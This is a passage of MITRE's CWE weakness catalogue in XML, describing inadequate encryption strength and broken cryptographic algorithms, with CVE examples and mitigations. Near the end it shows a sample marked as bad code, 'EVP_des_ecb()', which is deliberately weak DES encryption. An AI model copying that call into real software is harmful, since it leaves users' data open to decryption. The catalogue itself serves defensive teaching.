					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>573</Relationship_Target_ID>
					          <!--Improper Following of Specification by Caller-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">629</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>719</Relationship_Target_ID>
					          <!--OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>629</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>720</Relationship_Target_ID>
					          <!--OWASP Top Ten 2007 Category A9 - Insecure Communications-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>358</Relationship_Target_ID>
					          <!--Improperly Implemented Security Check for Standard-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>903</Relationship_Target_ID>
					          <!--SFP Cluster: Cryptography-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>Overlaps incomplete/missing security check.</Text>
				        </Relationship_Note>
				        <Relationship_Note>
					          <Text>Can be resultant.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Requirements</Introductory_Phase>
			      </Time_of_Introduction>
			      <Modes_of_Introduction>
				        <Mode_of_Introduction>
					          <Text>Developers sometimes omit certain "expensive" (resource-intensive) steps
						in order to improve performance, especially in devices with limited memory
						or CPU cycles. This could be done under a mistaken impression that the step
						is unnecessary for preserving security. Alternately, the developer might
						adopt a threat model that is inconsistent with that of its consumers by
						accepting a risk for which the remaining protection seems "good
						enough."</Text>
				        </Mode_of_Introduction>
				        <Mode_of_Introduction>
					          <Text>This issue can be introduced when the requirements for the algorithm are
						not clearly stated.</Text>
				        </Mode_of_Introduction>
			      </Modes_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If the cryptographic algorithm is used for authentication and
							authorization, then an attacker could gain unauthorized access to the
							system.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Sensitive data may be compromised by the use of a broken or risky
							cryptographic algorithm.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Accountability</Consequence_Scope>
					          <Consequence_Scope>Non-Repudiation</Consequence_Scope>
					          <Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If the cryptographic algorithm is used to ensure the identity of the
							source of the data (such as digital signatures), then a broken algorithm
							will compromise this scheme and the source of the data cannot be
							proven.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1585</Observed_Example_Reference>
					          <Observed_Example_Description>Missing challenge-response step allows
						authentication bypass using public key.</Observed_Example_Description>
					          <Observed_Example_Link>http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1585</Observed_Example_Link>
				        </Observed_Example>
			      </Observed_Examples>
			      <Functional_Areas>
				        <Functional_Area>Cryptography</Functional_Area>
			      </Functional_Areas>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Missing Required Cryptographic Step</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2007">
					          <Mapped_Node_Name>Insecure Cryptographic Storage</Mapped_Node_Name>
					          <Mapped_Node_ID>A8</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2007">
					          <Mapped_Node_Name>Insecure Communications</Mapped_Node_Name>
					          <Mapped_Node_ID>A9</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>68</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Functional_Areas,
						Modes_of_Introduction, Relationships, Observed_Example, Relationship_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="326" Name="Inadequate Encryption Strength" Weakness_Abstraction="Class" Status="Draft">
			      <Description>
				        <Description_Summary>The software stores or transmits sensitive data using an
					encryption scheme that is theoretically sound, but is not strong enough for the
					level of protection required.</Description_Summary>
				        <Extended_Description>
					          <Text>A weak encryption scheme can be subjected to brute force attacks that have
						a reasonable chance of succeeding using current attack methods and
						resources.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>310</Relationship_Target_ID>
					          <!--Cryptographic Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>693</Relationship_Target_ID>
					          <!--Protection Mechanism Failure-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>729</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A8 - Insecure Storage-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">629</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>719</Relationship_Target_ID>
					          <!--OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>629</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>720</Relationship_Target_ID>
					          <!--OWASP Top Ten 2007 Category A9 - Insecure Communications-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">809</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>816</Relationship_Target_ID>
					          <!--OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>903</Relationship_Target_ID>
					          <!--SFP Cluster: Cryptography-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>A variety of encryption algorithms exist, with various weaknesses. This
						category could probably be split into smaller sub-categories.</Text>
				        </Maintenance_Note>
				        <Maintenance_Note>
					          <Text>Relationships between CWE-310, CWE-326, and CWE-327 and all their children
						need to be reviewed and reorganized.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An attacker may be able to decrypt the data using brute force
							attacks.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use a cryptographic algorithm that is currently considered to be
							strong by experts in the field.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1546</Observed_Example_Reference>
					          <Observed_Example_Description>Weak encryption</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-2172</Observed_Example_Reference>
					          <Observed_Example_Description>Weak encryption (chosen plaintext
						attack)</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1682</Observed_Example_Reference>
					          <Observed_Example_Description>Weak encryption</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1697</Observed_Example_Reference>
					          <Observed_Example_Description>Weak encryption produces same ciphertext from the
						same plaintext blocks.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1739</Observed_Example_Reference>
					          <Observed_Example_Description>Weak encryption</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2281</Observed_Example_Reference>
					          <Observed_Example_Description>Weak encryption
						scheme</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1872</Observed_Example_Reference>
					          <Observed_Example_Description>Weak encryption
						(XOR)</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1910</Observed_Example_Reference>
					          <Observed_Example_Description>Weak encryption (reversible
						algorithm).</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1946</Observed_Example_Reference>
					          <Observed_Example_Description>Weak encryption (one-to-one
						mapping).</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1975</Observed_Example_Reference>
					          <Observed_Example_Description>Encryption error uses fixed salt, simplifying
						brute force / dictionary attacks (overlaps
						randomness).</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference Reference_ID="REF-11">
					          <Reference_Author>M. Howard</Reference_Author>
					          <Reference_Author>D. LeBlanc</Reference_Author>
					          <Reference_Title>Writing Secure Code</Reference_Title>
					          <Reference_Section>Chapter 8, "Cryptographic Foibles" Page
						259</Reference_Section>
					          <Reference_Edition>2nd Edition</Reference_Edition>
					          <Reference_Publisher>Microsoft</Reference_Publisher>
					          <Reference_PubDate>2002</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-17">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 21: Using the Wrong Cryptography." Page
						315</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Weak Encryption</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2007">
					          <Mapped_Node_Name>Insecure Cryptographic Storage</Mapped_Node_Name>
					          <Mapped_Node_ID>A8</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2007">
					          <Mapped_Node_Name>Insecure Communications</Mapped_Node_Name>
					          <Mapped_Node_ID>A9</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Insecure Storage</Mapped_Node_Name>
					          <Mapped_Node_ID>A8</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>112</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>20</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier_Organization>Veracode</Modifier_Organization>
					          <Modification_Date>2008-08-15</Modification_Date>
					          <Modification_Comment>Suggested OWASP Top Ten 2004
						mapping</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Maintenance_Notes, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal" Modification_Importance="Critical">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-08</Modification_Date>
					          <Modification_Comment>Clarified entry to focus on algorithms that do not have
						major weaknesses, but may not be strong enough for some
						purposes.</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Description,
						Maintenance_Notes, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated References</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2009-07-27">Weak
						Encryption</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="327" Name="Use of a Broken or Risky Cryptographic Algorithm" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The use of a broken or risky cryptographic algorithm is an
					unnecessary risk that may result in the exposure of sensitive
					information.</Description_Summary>
				        <Extended_Description>
					          <Text>The use of a non-standard algorithm is dangerous because a determined
						attacker may be able to break the algorithm and compromise whatever data has
						been protected. Well-known techniques may exist to break the
						algorithm.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">900</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>866</Relationship_Target_ID>
					          <!--2011 Top 25 - Porous Defenses-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">800</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>803</Relationship_Target_ID>
					          <!--2010 Top 25 - Porous Defenses-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>693</Relationship_Target_ID>
					          <!--Protection Mechanism Failure-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>310</Relationship_Target_ID>
					          <!--Cryptographic Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>729</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A8 - Insecure Storage-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>311</Relationship_Target_ID>
					          <!--Missing Encryption of Sensitive Data-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">750</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>753</Relationship_Target_ID>
					          <!--2009 Top 25 - Porous Defenses-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">809</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>816</Relationship_Target_ID>
					          <!--OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>883</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>903</Relationship_Target_ID>
					          <!--SFP Cluster: Cryptography-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="Language-independent"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>Relationships between CWE-310, CWE-326, and CWE-327 and all their children
						need to be reviewed and reorganized.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Background_Details>
				        <Background_Detail>
					          <Text>Cryptographic algorithms are the methods by which data is scrambled. There
						are a small number of well-understood and heavily studied algorithms that
						should be used by most applications. It is quite difficult to produce a
						secure algorithm, and even high profile algorithms by accomplished
						cryptographic experts have been broken.</Text>
					          <Text>Since the state of cryptography advances so rapidly, it is common for an
						algorithm to be considered "unsafe" even if it was once thought to be
						strong. This can happen when new attacks against the algorithm are
						discovered, or if computing power increases so much that the cryptographic
						algorithm no longer provides the amount of protection that was originally
						thought.</Text>
				        </Background_Detail>
			      </Background_Details>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Medium to High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The confidentiality of sensitive data may be compromised by the use of
							a broken or risky cryptographic algorithm.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The integrity of sensitive data may be compromised by the use of a
							broken or risky cryptographic algorithm.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Accountability</Consequence_Scope>
					          <Consequence_Scope>Non-Repudiation</Consequence_Scope>
					          <Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If the cryptographic algorithm is used to ensure the identity of the
							source of the data (such as digital signatures), then a broken algorithm
							will compromise this scheme and the source of the data cannot be
							proven.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Detection_Methods>
				        <Detection_Method>
					          <Method_Name>Automated Analysis</Method_Name>
					          <Method_Description>
						            <Text>Automated methods may be useful for recognizing commonly-used
							libraries or features that have become obsolete.</Text>
					          </Method_Description>
					          <Method_Effectiveness>Moderate</Method_Effectiveness>
					          <Method_Effectiveness_Notes>
						            <Text>False negatives may occur if the tool is not aware of the
							cryptographic libraries in use, or if custom cryptography is being
							used.</Text>
					          </Method_Effectiveness_Notes>
				        </Detection_Method>
				        <Detection_Method Detection_Method_ID="DM-7">
					          <Method_Name>Manual Analysis</Method_Name>
					          <Method_Description>
						            <Text>This weakness can be detected using tools and techniques that require
							manual (human) analysis, such as penetration testing, threat modeling,
							and interactive tools that allow the tester to record and modify an
							active session. </Text>
					          </Method_Description>
					          <Method_Effectiveness_Notes>
						            <Text> These may be more effective than strictly automated techniques. This
							is especially the case with weaknesses that are related to design and
							business rules.</Text>
					          </Method_Effectiveness_Notes>
				        </Detection_Method>
			      </Detection_Methods>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-24">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Libraries or Frameworks</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>When there is a need to store or transmit sensitive data, use strong,
							up-to-date cryptographic algorithms to encrypt that data. Select a
							well-vetted algorithm that is currently considered to be strong by
							experts in the field, and use well-tested implementations. As with all
							cryptographic mechanisms, the source code should be available for
							analysis.</Text>
						            <Text>For example, US government systems require FIPS 140-2
							certification.</Text>
						            <Text>Do not develop custom or private cryptographic algorithms. They will
							likely be exposed to attacks that are well-understood by cryptographers.
							Reverse engineering techniques are mature. If the algorithm can be
							compromised if attackers find out how it works, then it is especially
							weak.</Text>
						            <Text>Periodically ensure that the cryptography has not become obsolete.
							Some older algorithms, once thought to require a billion years of
							computing time, can now be broken in days or hours. This includes MD4,
							MD5, SHA1, DES, and other algorithms that were once regarded as strong.
							[R.327.4]</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Design the software so that one cryptographic algorithm can be
							replaced with another. This will make it easier to upgrade to stronger
							algorithms.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Carefully manage and protect cryptographic keys (see CWE-320). If the
							keys can be guessed or stolen, then the strength of the cryptography
							itself is irrelevant.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-4">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Libraries or Frameworks</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use a vetted library or framework that does not allow this weakness to
							occur or provides constructs that make this weakness easier to
							avoid.</Text>
						            <Text>Industry-standard implementations will save development time and may
							be more likely to avoid errors that can occur during implementation of
							cryptographic algorithms. Consider the ESAPI Encryption feature.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-25">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>When using industry-approved techniques, use them correctly. Don't cut
							corners by skipping resource-intensive steps (CWE-325). These steps are
							often essential for preventing common attacks.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>These code examples use the Data Encryption Standard (DES). Once
						considered a strong algorithm, it is now regarded as insufficient for many
						applications. It has been replaced by Advanced Encryption Standard
						(AES).</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>EVP_des_ecb();</Code>
						            </Block>
						            <Text/>
